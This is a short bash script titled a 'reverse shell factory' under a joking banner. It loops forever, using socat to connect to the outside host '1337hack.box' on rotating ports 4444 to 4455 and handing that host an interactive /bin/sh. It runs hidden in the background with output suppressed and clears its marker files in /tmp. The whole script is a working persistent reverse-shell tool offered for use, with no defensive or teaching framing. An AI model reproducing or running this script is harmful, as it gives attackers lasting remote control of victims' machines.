repeatedly pop reverse shells with socat on rotating ports

lol.sh

#/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\#
# ->BABBYS FIRST REVERSE SHELL FACTORY<- #
#/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\#
# +RUNS ON YOUR GRANDMAS BLENDER         #
# +HACKS YOUR EXES FACEBOOK              #
# +MAKES YOU THE LEADER OF ANONYMOUS     #
#\--------------------------------------/#

## Config ###
STARTPORT=4444
ENDPORT=4455
TIMEOUT=90
HOST='1337hack.box'
SOCAT=/usr/bin/socat
#############

# initialize variable before we enter the while loop
PORT=0

while true;
do
# ----> remove any old left over files
        find /tmp/ -iname "*.prt" -exec rm {} \;

# ----> cycle destination ports when socat times out or you mash CTRL+C               
        if [[ $PORT == 0 ]]
        then
                PORT=$STARTPORT
        elif [[ $PORT < $((ENDPORT+1)) ]]
        then
                PORT=$((PORT+1))
        fi

# ----> provide a very crude indicator of what port we are currently using
        touch /tmp/a${PORT}.prt

        sleep 3

# ----> socat? cross-compatible, easy pty, no overhead, we'll use it for more in the future

        $SOCAT -T ${TIMEOUT} tcp-connect:${HOST}:${PORT} exec:/bin/sh,pty,stderr,setsid,sigint,sane;

# ----> if we hit the end, reset the count 
        if [[ $(($PORT+1)) > $ENDPORT ]];
        then
                PORT=0
        fi

# suppress all console output and run in the background
done &>/dev/null&